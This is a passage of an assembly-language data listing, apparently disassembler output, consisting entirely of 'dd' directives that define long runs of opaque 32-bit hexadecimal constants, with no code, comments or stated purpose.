		dd 0AA0169A5h, 4F879A1Eh, 0C78E7F37h, 39FC3DE7h, 810B9F0Eh
		dd 1154B992h, 0EE0F1295h, 7C3FC652h, 3C808C15h,	0C559FF3Dh
		dd 0B425A7BBh, 12E892F5h, 8A258F7Fh, 2C335F9Dh,	0EEC5478Eh
		dd 562EA53Bh, 6796ACD2h, 8E8EF5F2h, 4D6B8F99h, 0E3893D62h
		dd 86977E25h, 8BDAE971h, 0A6E0DDF8h, 0FC1FA1BFh, 0D2D6287h
		dd 26FE6781h, 1F70E2CFh, 4B7C06FFh, 0B0307B29h,	0BE386FF1h
		dd 843CBBF1h, 0BC5ADAF8h, 67D590DBh, 0CA7E57CCh, 0E80F97C5h
		dd 9A3434F3h, 0E7D4163Bh, 0B33932D2h, 0D79DEDC4h, 0CA349729h
		dd 829C6EBFh, 0DB5871A1h, 9E302A19h, 5A815561h,	29D4031Eh
		dd 0FB809819h, 7B59D4DBh, 43A9278Eh, 0E6FF286Ch, 19E2EFF2h
		dd 6897FBF6h, 1EBDA326h, 5CFBEEB6h, 7ED79728h, 75CA917Fh
		dd 26347342h, 934E0EC3h, 0CE127EF8h, 0F706B835h, 0C1AFC4EFh
		dd 7867997Bh, 63261542h, 9CBA0EEh, 0DF2F0D0Bh, 0AC9249F3h
		dd 27EA6830h, 0C19E666h, 4C66A872h, 78790DF6h, 0A167283Eh
		dd 9B0AC430h, 66925FEh,	11F46DDFh, 6021985Dh, 0CD260345h
		dd 8561926Fh, 0D5CBD374h, 7A46F97Ch, 0B33A1E6Ch, 589743E6h
		dd 82F2B6B4h, 0DDC3CEB6h, 82D882C2h, 3483707Eh,	0CD24BA94h
		dd 3F2BEDE8h, 0D707BECCh, 5C95E70Eh, 2D72572Bh,	0A2EFA4AFh
		dd 5D8E56B5h, 0C8D76323h, 8D962DF5h, 7865D4Bh, 8A72A3D1h
		dd 4547EFB1h, 4A7B95D6h, 62625A00h, 0E4888B33h,	0F999B8D8h
		dd 7EE10C63h, 850D1F4h,	7406D833h, 95D628A5h, 0F100DF64h
		dd 0D8437FBBh, 0BAE5AB3Dh
		dd 6289AC58h, 0E651397Fh, 0A6C588CDh, 7B5F2EF8h, 0B56BF731h
		dd 0D96AD7ECh, 0E2B98C2Fh, 0B20EEA46h, 9EBD757Fh, 720FAFBDh
		dd 0C27A299Bh, 2A4258A1h, 64DCFED5h, 58AEFB59h,	959F1F6Ch
		dd 0BAF819EAh, 0B1B3CBECh, 5E3E7EF8h, 0C7D755A1h, 9DD7E18Ch
		dd 0DFC3198Fh, 0FA176BA3h, 0A0CFB67Fh, 0ECA56D26h, 0B9D94ADCh
		dd 7D8E0DBEh, 0C22569C7h, 9FA66A99h, 0CA4FC994h, 0C943EE4h
		dd 6ABFA331h, 0A57BC19Fh, 0CBF18004h, 8C14893Bh, 0B68249F2h
		dd 112FC9Ch, 2CA40C2Eh,	87930772h, 0F8BE229Ch, 0B5860335h
		dd 5886B7E6h, 4EABE0FFh, 0AAAF9C51h, 0E9CF7F97h, 49E2E749h
		dd 0DB624F71h, 97003ED9h, 0FF15EA73h, 3AC26A6Ch, 8275804Eh
		dd 0A3B25CC4h, 0F7D09ED3h, 0F11908EBh, 0A7059050h, 8A6EAEF1h
		dd 80CD09F1h, 0D05D97C6h, 6EBE3BD2h, 0EB6F9D13h, 0F58FD237h
		dd 2A71C715h, 0FCCB63DEh, 96C7A336h, 9B9C2D91h,	259BEFACh
		dd 0A01BEE2h, 71EF7A0Bh, 0B1DE94Fh, 4FFB140Eh, 0FE0B105Eh
		dd 258A6C48h, 0BC2D6D8Ah, 0CDD11A69h, 89E42B3Bh, 0F5F5491Ch
		dd 5758B0F3h, 5993B1B0h, 0D78C4F2Dh, 321D56B1h,	0F5D367Eh
		dd 0C2A0A76Eh, 0D7182B75h, 2D7AB7E1h, 0D41AB85Eh, 0D27E0993h
		dd 0CB95A81Eh, 6937FB5Fh, 8371E2B2h, 79E6C35Eh,	676ABCD8h
		dd 32E9769Fh, 58F38DC3h, 0FF464EB9h, 96BD162Bh,	0B139CB73h
		dd 0D5D8F506h, 263E4F3h, 970AFD95h, 532E1F8Eh, 0BEE1AB7Dh
		dd 0D0DF70D5h, 117B831Fh, 0DCCF97DEh, 528E2F05h, 5455403Ch
		dd 0A190ECFFh, 510A053Eh, 0AF7D2EC6h, 96AF7D96h, 4C6C0F7Dh
		dd 85BFCB06h, 84A8C2C0h, 21939807h, 0D444D754h,	26FC0D6Ah
		dd 0E26F3836h, 15BADE28h, 0DA2B8DF0h, 7399E050h, 2DEAEF09h
		dd 92CC3E17h, 465F7ADAh, 7E78355h, 872C7062h, 0D79BFF08h
		dd 0F3BA3E72h, 96BCD9DBh, 4FD01BD5h, 5076CB43h,	52770BF0h
		dd 0E3C61F17h, 51D5BB93h, 0DC2F394Ch, 5CDF63F6h, 89C68410h
		dd 0C28962BBh, 809D9B2Bh, 6D764766h, 0E2108A16h, 766A0EECh
		dd 0D9BC4A62h, 59B1FF71h, 0BD9B85EBh, 75FB7C4Dh, 5FF3D9ACh
		dd 6819B370h, 5DEDE376h, 18CB7D9Ah, 9AD868D3h, 1AC160A7h
		dd 3EDE15F8h, 95E55C4Ah, 2B55EA2Bh, 998C40FAh, 6B6D51B0h
		dd 42CF39D3h, 44A16799h, 0BA647358h, 6D8D2189h,	5D702411h
		dd 26F0D223h, 0CA3B13DAh, 1D3472h, 87B7C4B3h, 0A03ADDF4h
		dd 0CB60347Ah, 6438EF50h, 0FBD1F70Ch, 2C06367Ah, 0D871B991h
		dd 19D63FB6h, 860265EDh, 0C95F938Ah, 0D6050809h, 37E98D1Eh
		dd 87BB9797h, 0D79D3EF4h, 5AEBA88h, 7DF6E268h, 0A82713CEh
		dd 395F7139h, 0B0305C4Fh, 77766F16h, 37C937E2h,	0B44E574Ah
		dd 0EECBAEEEh, 0E9C6B604h, 8F3685BAh, 48B873ECh, 0A5F54CE6h
		dd 65F258F2h, 5C6F8FB0h, 0BE5C24E2h, 0E1849F5Ch, 0F40FABE2h
		dd 32ED4849h, 8A65F0FAh, 1A5F434Bh, 9089902Fh, 0C48A21E5h
		dd 5EAA12E3h, 0C714D07Ch, 1E78BED0h, 0C31490DEh, 0AEBFD6A7h
		dd 7E5A1831h, 0A0E18C6Ah, 0EF8FBC75h, 8F7A2B91h, 8C8341C2h
		dd 649759FAh, 2062980Dh, 597D44D0h, 0C041903Bh,	15B80B2Dh
		dd 8A41E098h, 10F5CDF8h, 8A39AEEAh, 0C1AFC2E9h,	2B746F7Bh
		dd 9DC0143Eh, 0EC3EB9FDh, 0F1861799h, 0C20BD69Ch, 18188978h
		dd 4FC3144Bh, 35AEC674h, 154995F7h, 0DCFC99B2h,	0F6AD7A0h
		dd 0ED582F85h, 58B6C50Fh, 33E378A2h, 660B76AEh,	18B2DEFDh
		dd 0ABD7F4A5h, 98D839F5h, 0FD1B8A00h, 0FEB1519Dh, 6F29D3Dh
		dd 0C12CF171h, 0F171302h, 0E29B1D5Ch, 0BC53C4Dh, 902D8CE4h
		dd 6B2AC69Bh, 0B5B5435Bh, 0D50B3E1Ch, 8A377106h, 0F223D252h
		dd 9BDBEF22h, 5B4C53A8h, 0BFE45CFFh, 0D3AB1FAAh, 0BEEE5CD5h
		dd 0DD40BB1Fh, 9BFCFDF0h, 20ECACF3h, 0AB616CC6h, 0CE69AB29h
		dd 95F215D7h, 0EF467CC8h, 0B7F3B088h, 74AA2DBFh, 57D8C428h
		dd 16C57F71h, 565EDA54h, 9573DEBDh, 7395CE3Eh, 0A7FC1A75h
		dd 359A1005h, 0D9AABFBh, 0E7381AD6h, 0A4AC086Ch, 0AFE12EFAh
		dd 2AEBE927h, 22F6FCB6h, 0E6839B9Ah, 0FC05CD1Ch, 9F491DE1h
		dd 1FE091EBh, 6BF485Dh,	0F229E8FFh, 84FE114Fh, 262BC317h
		dd 77CA203Bh, 0B61E2F34h, 98AB90AEh, 6FC63DC5h,	0ACC47AE1h
		dd 19E8E22Bh, 3A49E37Fh, 0FDC51656h, 47015D7Eh,	0B514ED78h
		dd 305455Fh, 0DF8A2E4Eh, 6EB428F5h, 0C69C970Ah,	42B8D3B1h
		dd 8A76A8C4h, 0F13B1B30h, 6903D57Bh, 8E14EB2Ah,	8B25EFC3h
		dd 57B887h, 0AEDB6E08h,	0B1D9E6A6h, 0CF54D4FAh,	6BEA564Dh
		dd 758BC22h, 8F5CDE69h,	0D7638D8Eh, 0EE292EA2h,	0C47DFAB1h
		dd 0B5F5BBB0h, 3FAD8B34h, 4073F506h, 47569EDEh,	1EC3D852h
		dd 34BF01F7h, 1BEBF7DDh, 409D4F55h, 6B70EBF1h, 0C19FCC96h
		dd 97F63540h, 9AE4A5FCh, 233D8858h, 0C24444CAh,	29C186AEh
		dd 7965A91Eh, 494F3B5Ch, 0CB50573Bh, 844BF079h,	0C20851CAh
		dd 3C050166h, 0B125D7CAh, 0D2C0C1A2h, 91C4ECA3h, 8CA5D7CEh
		dd 7322B75Eh, 109A2B74h, 46CA3C3Fh, 0FE836448h,	0F835F89Dh
		dd 34438146h, 0EE0CB3F8h, 5D997385h, 66CF084h, 66D4403Ah
		dd 9C0E594Bh, 9CE52D44h, 1A61E149h, 75CC9DB7h, 2CB47ECBh
		dd 3FDB2A8Ah, 17F55A95h, 60CA89D4h, 687B0F20h, 1D19FF1Bh
		dd 8AD847Dh, 0B6C96936h, 0C6D96EF2h, 4650AC33h,	54368C7Ch
		dd 95D20C1Bh, 0E31A7530h, 0C63D0E8Ch, 7D162EBAh, 0C37F6DD8h
		dd 0A62BF048h, 2E55F913h, 77E7EA17h, 43950BE9h,	6F40F678h
		dd 7BDEE944h, 0A23748B5h, 9B888254h, 0B2CEBC46h, 8E353019h
		dd 831C7AE7h, 21A621Fh,	0B3BE963h, 8A96A67Bh, 7AE0E7F4h
		dd 71B3AE7Ch, 605C3181h, 71B0170Ch, 5AEEC81h, 5102F5B2h
		dd 0EE2A867Eh, 0B12C522Ah, 0EABF98E3h, 66EC2F58h, 0DA0F5655h
		dd 7E737659h, 0FA3B3202h, 0C9460270h, 88A30308h, 4B53A77Bh
		dd 53B9884Bh, 0C49641C4h, 87125961h, 0DBF0A8DDh, 32DF8C33h
		dd 1BF11278h, 4D4EEB23h, 0C1D75901h, 0F0778F2Ah, 50AD84D1h
		dd 237D03F1h, 0D18B9ACDh, 8D11FE19h, 37C53BDEh,	0AB49C695h
		dd 7AE5B971h, 0B06F553h, 53E019C5h, 0A98855E4h,	0BFEC572Ah
		dd 0D767FF6Eh, 8738D4CDh, 62684B9Dh, 1E372C3Bh,	0EC9098A8h
		dd 0A00FAF4Bh, 0AABD9180h, 0F8104FF5h, 0F86D91C9h, 6F217D1Fh
		dd 9CE2EEB6h, 0ED0CC0CCh, 36FE4932h, 7A1B7182h,	0ECF275DFh
		dd 0D997B22Ah, 7E5CE73h, 0F1524721h, 0F57732C4h, 7F8A5A49h
		dd 0C14B954Eh, 367B580Dh, 1ADE960h, 0D406CF4Bh,	0EF067685h
		dd 0E10DFE4Dh, 4268B937h, 1A26430h, 833374A8h, 0B1F7998Ah
		dd 4012930Dh, 0CE856A2h, 27621606h, 3CF3306Eh, 6D80586Eh
		dd 96B8EE26h, 27B17E47h, 36C767B3h, 21468A6Eh, 835FC1A2h
		dd 0CF75FA7h, 4840CE76h, 93922A93h, 8AF5D17Ah, 0ECD6B2EDh
		dd 8A6E098Bh, 592CF600h, 28D12AA7h, 49150807h, 29473B71h
		dd 23F2B274h, 4D5D0398h, 220FDBFh, 0D15CC430h, 264C7899h
		dd 59289B89h, 238D6CCDh, 3D59B336h, 0A10B4E97h,	20C6F667h
		dd 586FF5FFh, 0BDC611F3h, 358FF93h, 6865C611h, 7FC828ABh
		dd 6BF13BFCh, 51471458h, 0F5147179h, 0A8A15F92h, 4503972Dh
		dd 0C3C5CE71h, 46742142h, 4F3D6E34h, 4D10C518h,	77E90F5Eh
		dd 7DD2A6D8h, 11A3FC7Dh, 0BA14F061h, 0A2DBB40Dh, 0D772575Bh
		dd 8760596Bh, 0C4611001h, 0BC97730Dh, 0F6CF900Bh, 0D04DF3DFh
		dd 0C98DC838h, 0E85E02CFh, 0FC6997C5h, 39D79937h, 5916539Fh
		dd 3DD59E35h, 6F4E4922h
		dd 0E7839CBh, 5E1AFBBDh, 0F13281F5h, 14D3213Dh,	0B6DD0796h
		dd 596276Ch, 208B0C9Ah,	0BF24DBAFh, 5CB916C3h, 0F8D18E41h
		dd 0A7B81837h, 0BA359819h, 0E21CB315h, 35D4E110h, 0B0AC043Ch
		dd 0F90FDC8h, 0FF6E5E02h, 0BC1AFC44h, 913BFD7Dh, 6479A151h
		dd 7292E64Eh, 5B51ECA4h, 32384D65h, 63D7C4C6h, 3D6AA3D4h
		dd 67EB47B2h, 0CEBB51E8h, 9297EBF3h, 0A5F8E6DEh, 8965BF64h
		dd 73C29297h, 867A3475h, 15260D1Fh, 1018036Ah, 245F5AFBh
		dd 51F15950h, 0D445000Fh, 21C975DDh, 0E9424053h, 0DB2F0A12h
		dd 7E7D5F89h, 0FCC26D6h, 663283E2h, 0D6457E2Bh,	0CD2F7932h
		dd 20CADC20h, 0DF19B0BCh, 0DEBC790Bh, 589F13EEh, 151E9AF1h
		dd 5F89E1AFh, 0EEEF13C3h, 396EF132h, 0C4F8DEF1h, 0D7A0F8EFh
		dd 27C77789h, 0EF13CBDEh, 2E4758Eh, 9F1E9F13h, 6AD58DF8h
		dd 0CBF9FE2h, 649F6176h, 8FEA9815h, 8A59E3E2h, 673CADEFh
		dd 0D24593A7h, 0B679F155h, 71A6D8BEh, 39B4C872h, 0CB927818h
		dd 60E0ACh, 0AF769B58h,	847A9C53h, 64F04B27h, 332C9E09h
		dd 12FC30E3h, 9685C329h, 2A3C832h, 7072FFABh, 5A51B225h
		dd 7ACD399Ah, 4B3A933Ah, 3891D963h, 0CE253FEBh,	0EB899EFh
		dd 16592C1Bh, 0ABCD710Bh, 0D342BDB0h, 0F67299FAh, 12E32A10h
		dd 6A71C372h, 1A0BBD08h, 0D725EE35h, 0BFCBBB22h, 9A0F6421h
		dd 92CA247Bh, 0A314EF5Ch, 3F710B49h, 0C4E5A286h, 0E6575476h
		dd 0D3363FFFh, 0E7A9D8D2h, 7397C3F0h, 88B94497h, 0E09DF2FAh
		dd 62BF1B13h, 16B4C3F6h, 43E7CF8Ah, 7EE52D79h, 0FA4617E0h
		dd 0FEBE867Ah, 0E91B5FC8h, 0F8FDE86Bh, 0C33404DAh, 2B519B71h
		dd 2FA16D7Fh, 0A76EA713h, 0B5FCBEAFh, 0E06EBE83h, 9AFA3AAFh
		dd 0E8FB5FCBh, 357F206Bh, 1038DAC6h, 0D629A36Bh, 1B58A1C6h
		dd 8635F4CDh, 0D7D18EE3h, 9C75FC55h, 0AFE3AEBEh, 4436B113h
		dd 0FA568DACh, 7F97D00Ah, 41F1B43h, 9FE5DA1Bh, 0CFF94709h
		dd 9891FC18h, 89AF7FE4h, 64D6631Dh, 273318FDh, 0DDED631Eh
		dd 7E1884B1h, 0FB351D25h, 0CF71D4F1h, 7A4D9524h, 0F3D09D2Ah
		dd 431443C4h, 43154A7Bh, 0F68671FBh, 0E8ED0CE3h, 844D279Bh
		dd 31CA7297h, 6BF1FBA6h, 6BE74EF0h, 0E9A060C8h,	9C46E405h
		dd 0AC6E4216h, 0B51AAB6h, 0C9383A21h, 0E7ABD324h, 4E7A0C5Bh
		dd 0D9160A94h, 3C0E9064h, 2FE3B475h, 0B3FA418Eh, 1B73D51Eh
		dd 631685F5h, 183EE3CFh, 0E32DC038h, 87D0E97h, 14C37F0h
		dd 0D00F092Ah, 0C28F802h, 28191FF2h, 0FD593EE0h, 0DC23993Bh
		dd 0DF1742FEh, 0A1C28E0h, 0FF9C57E1h, 2E2EF9DBh, 0F049115Fh
		dd 0C381F945h, 0A77FE67Bh, 0F71AFC97h, 3D89B946h, 22FAD273h
		dd 6B0B17B7h, 5D867A8Dh, 329A711Ch, 4242F33Ch, 2115B58h
		dd 0CA372768h, 78AB6BAEh, 0B68F2D5Ah, 0DAD54764h, 35A7CD61h
		dd 444858F7h, 93112CD1h, 0AFC0BDC9h, 0FE72A9E2h, 99AFD797h
		dd 0A799B657h, 6DD30C7Ch, 9CF8F863h, 0E90DDCD1h, 0F48EA8A3h
		dd 7D202657h, 95CA6F27h, 3257F48Ch, 82EC2FD2h, 0D2250BF4h
		dd 0E90A7D47h, 2BD3BC37h, 238C2FD2h, 0E64E647Dh, 1723B292h
		dd 8A91FA40h, 0F97FD218h, 5FF48521h, 0EDC4CC9h,	1FF4B772h
		dd 5F2DDB1Bh, 6D7384C7h, 5CA45854h, 3C6EDD41h, 0FD88D1F3h
		dd 13924FFEh, 0E87AC577h, 0CB99740Ch, 73518875h, 3C83CDF7h
		dd 0EE788777h, 0A1EBBF0h, 0EB58EB07h, 3E213020h, 18FE7873h
		dd 608C472Fh, 0E68CCEB3h, 109959C9h, 0E97959Fh,	849598F4h
		dd 0F8F1EA1h, 3541F1B5h, 4033B7D4h, 0A7C5E5E8h,	5B4F026Dh
		dd 0BE1B4F1Eh, 0FD517C5Bh, 42B9B1AEh, 0EAB5F589h, 0E7C8E63Ah
		dd 0BD4E0180h, 0BDD6915Ch, 624FFCD0h, 5C09A9FFh, 0C541A577h
		dd 9802E374h, 34C39D86h, 0F4843DACh, 51EC6860h,	2DEAFFC5h
		dd 9817DADh, 3F75FA0Dh,	0E5442373h, 1448FF69h, 54B27B95h
		dd 79F6F88Ch, 3F046F70h, 375EF547h, 0BE6E8D61h,	1EED0891h
		dd 6467BFB4h, 2CD0F39Ch, 0D27FCFDh, 0D6893A76h,	0EFC7FEF0h
		dd 0EEFC31FAh, 80A1979Dh, 0C6EB1FAh, 5FAB1EB3h,	3B17ED88h
		dd 0EC818207h, 0BFC6BBEEh, 34E79B33h, 6F0925A5h, 0F4033828h
		dd 0B8F1AA0Eh, 4869054Ch, 0D3CC688Fh, 0E5632F24h, 6C8D594Bh
		dd 23626564h, 3191B92Bh, 98E6B73Dh, 0D3FC5EF8h,	4D4F0C03h
		dd 0BC4D4F0Ch, 7EF2C717h, 396BCB1Dh, 0F9E3BF9Eh, 2290B9B1h
		dd 4B3F116h, 90661A8Bh,	365885F9h, 5D00C3E2h, 0E0590B5Bh
		dd 63379631h, 0F1BB0486h, 0F1BBB071h, 7604FFADh, 2BB07175h
		dd 0DD814079h, 76018B8Ch, 1BB07119h, 119760CFh,	7C0B6AEBh
		dd 1CE8C9DCh, 3C718235h, 758C7182h, 9945C1D1h, 1C39A3B2h
		dd 764203C7h, 0F2C5E7F1h, 0E64EF259h, 748DA500h, 66C9829Dh
		dd 0F90902D2h, 0E5A3EB46h, 0B99252DDh, 3FBA58BEh, 0DD53A8DFh
		dd 3E015FDFh, 6599BD3Fh, 0F8CE900h, 84AFADD3h, 5B13EBF8h
		dd 6FB13DFFh, 3FBBEC73h, 735A5281h, 49B3A89Ch, 4A070A42h
		dd 63EAF51Eh, 0A48E689Eh, 13C73659h, 0F3C4B041h, 6BD2D122h
		dd 0F9D7AC62h, 0D2F17A5Ch, 2991239Eh, 36ECEE8Bh, 0F119CC7Ah
		dd 0BBFA2600h, 0C35E4D36h, 61AF20BEh, 9CADE05Fh, 769371A1h
		dd 6610FDD9h, 773993Fh,	934E18Dh, 1301C94Fh, 0E9859A7h
		dd 6587130Bh, 0A4B7084Eh, 0B9A1E2F1h, 0F5A34702h, 0FA8CABD1h
		dd 34702816h, 0E097FD59h, 0BC3645CAh, 0E2BC3642h, 877C2905h
		dd 1D6C5DBCh, 38EAE985h, 0FD7615D2h, 7CCD0C1Bh,	0C7E6CB88h
		dd 6090F0F1h, 1BF1B3F5h, 1915B683h, 54417CF6h, 0F29E3E01h
		dd 9CCFCB98h, 0A8F2BEB5h, 2BA49221h, 0E6584DEBh, 96E8633Fh
		dd 9B278C6Ch, 8FDD8196h, 7490CB74h, 94190CC1h, 83EB7B41h
		dd 0B6FFFC6Fh, 70919F26h, 0A4347EB2h, 67A7ACA0h, 0CF80979h
		dd 805128C3h, 74A59CD9h, 8C920D5Fh, 20EB3430h, 5886029Eh
		dd 0B1C5FE01h, 9D0D1BB9h, 90B9F842h, 0DE82AE70h, 7504196Ch
		dd 0BFC1C360h, 0DE727F1Dh, 4D8842D0h, 0C31D85A6h, 0FD1645C4h
		dd 7BB1F89Ah, 530F6F16h, 6E98EB74h, 0EA94E390h,	0A2413253h
		dd 0C2C92E83h, 0AE1948B1h, 3E7B92CDh, 0A05DF38Bh, 0EB57D1Ah
		dd 5F8D6D30h, 0F69FBD11h, 306BCB7Bh, 681A3A83h,	0CB3CF68Dh
		dd 50F6BC63h, 0BD047220h, 656E8ACAh, 1895C16h, 0C3723D64h
		dd 0F83D7234h, 4F50DB15h, 42204365h, 2A6F8B14h,	32A34C7Dh
		dd 3836B6A7h, 9144A03Ah, 6CF32820h, 0BB8EFC99h,	2B19CED2h
		dd 4F9B380Bh, 0FDF99C99h, 36145D0Ch, 0B2D8465Eh, 4B5E731h
		dd 0BACB9E7Ah, 6464A589h, 5D4B117h, 7E4B6C04h, 837AD7AAh
		dd 0D6CE7FBAh, 1BCBF3F9h, 488E0B02h, 0FE212F97h, 0FC5F8E52h
		dd 4814BD3Bh, 7F7EA6F2h, 4399D0E6h, 7995D4E7h, 9DDD0245h
		dd 16989DD5h, 0CA912EEBh, 41A71A1Dh, 4702B192h,	561920EBh
		dd 73057AA8h, 0BF15F8E3h, 61F05FEh, 0D830F8FBh,	0C74187C7h
		dd 0EAFCBA47h, 0F0314BD9h, 7213B119h, 0E44E8573h, 0B45299FCh
		dd 0B7B148ADh, 0C12EAB89h, 6F56E09Fh, 6046E32Ch, 1828AE72h
		dd 97971258h, 2CA8C53Fh, 8FF323A1h, 56D625E8h, 0E51ACA40h
		dd 4F1C423Ah, 68E4B450h, 0EC30E4ECh, 0EA1C9F8Bh, 0F44A9ED6h
		dd 0E36A433Ch, 5F80C867h, 96C433A8h, 75043386h,	96433AAh
		dd 2111D18Bh, 2732D7BBh, 5754BA46h, 4BB23AE8h, 0E90B5F62h
		dd 38C37AABh, 0AB27A3C0h, 0C352ED27h, 9F0D4064h, 0D831E3BCh
		dd 0BBB7921Eh, 2ED1FAEBh, 0D57CE6AEh, 0C4CDCF9Ch, 0FC827C6Fh
		dd 0B64BE61Bh, 84FF8D2Bh
		dd 6AE46166h, 319B76D6h, 50984B6Bh, 0A92C3BCEh,	0E5199E5Dh
		dd 5650A948h, 75A271A1h, 4A411017h, 2158F2CBh, 0C614C9C0h
		dd 2BF44B91h, 4F5D990Fh, 5133D69Ch, 404CBDE9h, 0F7AC856Bh
		dd 0D2B0F132h, 456E897Bh, 1341E233h, 0C047CB93h, 60D7E18Fh
		dd 14C7B00Dh, 86CDF019h, 0FF8CBEAh, 7A6E1A81h, 0CF195F9Ah
		dd 77656151h, 0DC6E609Dh, 5F8C2887h, 56473783h,	0A16471ABh
		dd 5BF09453h, 7CC0F28h,	74766AAAh, 5D77D06Fh, 6BA38DBCh
		dd 850A86D0h, 0D54EDFB8h, 0D651BED1h, 745AEF5Ah, 34BC316h
		dd 0AC1BC35Eh, 0C43F38BBh, 6D24B27Fh, 8B196C75h, 5219509Ch
		dd 5BA3EB86h, 89CF7011h, 0BDCC5901h, 5FD9812Ch,	89564107h
		dd 9BF78406h, 7FB968CEh, 298D1383h, 5E52F431h, 0F016A47Dh
		dd 10DACFB7h, 41637A40h, 2A05ADB2h, 630DFE1Fh, 810D1531h
		dd 4C47F431h, 0E985B64Ah, 0BFB7C578h, 0F8F7A8Eh, 0F21F9BC2h
		dd 3963079h, 0F067969Ch, 0AD4FCB96h, 42AF2CD0h,	0DA2DC887h
		dd 708E9E67h, 0C8AFC292h, 0F1463BA8h, 43CC8D31h, 94821F4Dh
		dd 0CC6F6E5Dh, 0BE53A10Fh, 42D7A41h, 3857E802h,	0BD5D5C29h
		dd 0CB08E8A1h, 0E0425988h, 78B3ABB3h, 978B3C89h, 88802248h
		dd 9D17802Bh, 0D60FF7DFh, 0F5169B3Fh, 0ACA00FA9h, 2AF06351h
		dd 2AA65094h, 7CCB16F2h, 60372C39h, 8F366C51h, 89997F88h
		dd 1196990Fh, 9A60C451h, 9F3F80C6h, 0ED1C27BFh,	24BB0192h
		dd 415D4E5Ch, 7195D453h, 259635B2h, 230F7ABCh, 8FFFBAB6h
		dd 8F8FF7BDh, 0C61AB8AAh, 59247F67h, 240B2160h,	0D46A3518h
		dd 1B50A960h, 842409B2h, 43724268h, 361604A2h, 84225D9h
		dd 0D66E2481h, 0DEE4D240h, 0E8609A00h, 0EB966D26h, 56C5B4B6h
		dd 5A3ED5FBh, 0A796B5B0h, 2D8B4550h, 8098306Ah,	4A951AA5h
		dd 5B14785Ah, 68DC5EDAh, 120846A3h, 9CE7BF72h, 137777B9h
		dd 0F9FBCFB0h, 49FEFBCh, 0E73BDECEh, 7DF99CCCh,	99DCCCE6h
		dd 0BAD82433h, 0E78DB048h, 1F51BC17h, 844FF29Ch, 527B58E3h
		dd 3725ABF7h, 9205E3B6h, 0E3439CCh, 4471C399h, 3686D686h
		dd 0C3929C6Fh, 4B483E23h, 0A9690715h, 54B6A562h, 7877FE21h
		dd 192EA43Ch, 10DFBA40h, 7021A962h, 6860E2C1h, 2D20E2C1h
		dd 82FA8858h, 68E8F905h, 0DA2C16D7h, 0FB4582F9h, 390B0598h
		dd 17F56980h, 0AF4F7C5Ah, 0D7D40AC6h, 89E5725h,	85DC1509h
		dd 8D7D3BC4h, 13039F8Ch, 4085D75Eh, 624F268Eh, 4D48477Fh
		dd 923A070Ch, 0E2E744FFh, 0F92ED7EFh, 240221E3h, 2095414Ah
		dd 93A7BE4Eh, 0A1BE93C0h, 843C112Eh, 0F0DDF0CCh, 0B43F26BAh
		dd 3EC9F890h, 0A8314010h, 25C4F63Ch, 0B5D7F02Ch, 0A91491EFh
		dd 2FA9D16h, 7F5B95A2h,	0A059E74Eh, 8D9B11A2h, 5B247FC7h
		dd 0F331DC8Dh, 0AFDB684Fh, 260D2303h, 2A463F41h, 42D5836Eh
		dd 0E092807h, 1D3F7CC5h, 113A7846h, 24310713h, 0BE756F71h
		dd 8A83A997h, 0F16A65CBh, 0F78330A0h, 4F4CAC60h, 2A3675EAh
		dd 0B66E7215h, 16967130h, 2A200E58h, 0E64577F6h, 71D843ACh
		dd 58E5BC8h, 0A27F40E6h, 0DCB2F38Eh, 7AB79AB1h,	0A44DD07Ch
		dd 0D7C4BA90h, 9DBAEEB9h, 0BA8F24E4h, 0AADA8F51h, 0A3D56D45h
		dd 56D452B6h, 6D22EA3Dh, 187ADF0Dh, 5E10D3CDh, 6BF2514Dh
		dd 0D08BB535h, 0A3357E5Ah, 0E3065FAh, 233EE54Ch, 98F8F6D3h
		dd 7E705B4h, 29663802h,	425F8F25h, 3798F169h, 0DE55750Eh
		dd 0E47E1E55h, 2D3D6D49h, 0F01C1F4Eh, 819D6CE5h, 9A5864E6h
		dd 7970A2D2h, 30AF6AC6h, 0E4FC91D2h, 0AF2EE1C9h, 8DA17D41h
		dd 8F920EB4h, 84D53E3Bh, 8FF93232h, 0B0C65AACh,	7F0E1742h
		dd 0C256612Dh, 76C55815h, 0A5A6463Ch, 5C257675h, 5386FB7Ch
		dd 792F6B25h, 60DAA0FCh, 8C45660Bh, 0D7809A02h,	878368C2h
		dd 4132E327h, 0BE82071Fh, 0C163126Bh, 0D6079705h, 8D879FCBh
		dd 0F6D862BBh, 0B0EFD849h, 7C48B318h, 8E34DCE1h, 0D3FCBB7Fh
		dd 6D1ACA95h, 3BEEF268h, 1CAFBA9Bh, 0FFBB6AC0h,	43B6EA68h
		dd 658C317Dh, 49066A1Dh, 2189AA8Bh, 7DB0AD24h, 43E26585h
		dd 0B2B9E130h, 899E52C4h, 3A19A6D3h, 8B817D59h,	0F74F48C0h
		dd 0FACDA7DFh, 3ACB8ABFh, 9C170B9Dh, 0C7194807h, 0FBF6E55Fh
		dd 779FA950h, 0ECEAAC3Eh, 2AFE2227h, 0A7A89193h, 5B371DB9h
		dd 0D72F1379h, 0A56846ADh, 0FA56846Fh, 95C6D0CCh, 7F9D343h
		dd 1DD89994h, 0EA56E8A2h, 64C7050Eh, 7E8A32BEh,	0F9F20102h
		dd 576363FCh, 33091146h, 5C2B2C6Eh, 21F6DB82h, 876DE06h
		dd 0C4C9950Dh, 143D723Bh, 28DC8659h, 69872CDFh,	5B587966h
		dd 9C17C5DFh, 0E4C61D98h, 7566FE1h, 0FDF588FAh,	1BAABC34h
		dd 5DAF9691h, 0A47A2D21h, 1C5A55E1h, 7F6E42DDh,	7A3770C7h
		dd 0C83ED41Ah, 710B908Ch, 721F7DAh, 815341A7h, 0FA41B7Ah
		dd 917C6917h, 0E3E37B8Bh, 608FCA4h, 3B6DC7F4h, 0F9C0768Bh
		dd 0E9328CFAh, 6FA4BBFFh, 9786B55Ch, 1681AEAh, 0D1B4812Dh
		dd 42FA93FCh, 90BE49F6h, 0CFBC327Dh, 206F8EA4h,	0C687BE39h
		dd 12647C08h, 4030363Dh, 4D04F7D3h, 14A01CAFh, 99CDE827h
		dd 0E0E221D0h, 0C89A44E5h, 0A868D1F0h, 0E4E6735Bh, 0F10FC690h
		dd 27C1CA20h, 818E8103h, 0F5E5B1E7h, 1163E955h,	4B67F912h
		dd 7CC9ABA8h, 87A30D59h, 34A4E596h, 8EFE7461h, 40E3CFD3h
		dd 0D1A18186h, 0A7C94F3Ch, 60740190h, 1E799F2Dh, 8992622Fh
		dd 70FDC398h, 92075647h, 40A6E9Ah, 0DB728790h, 0A1692E4Fh
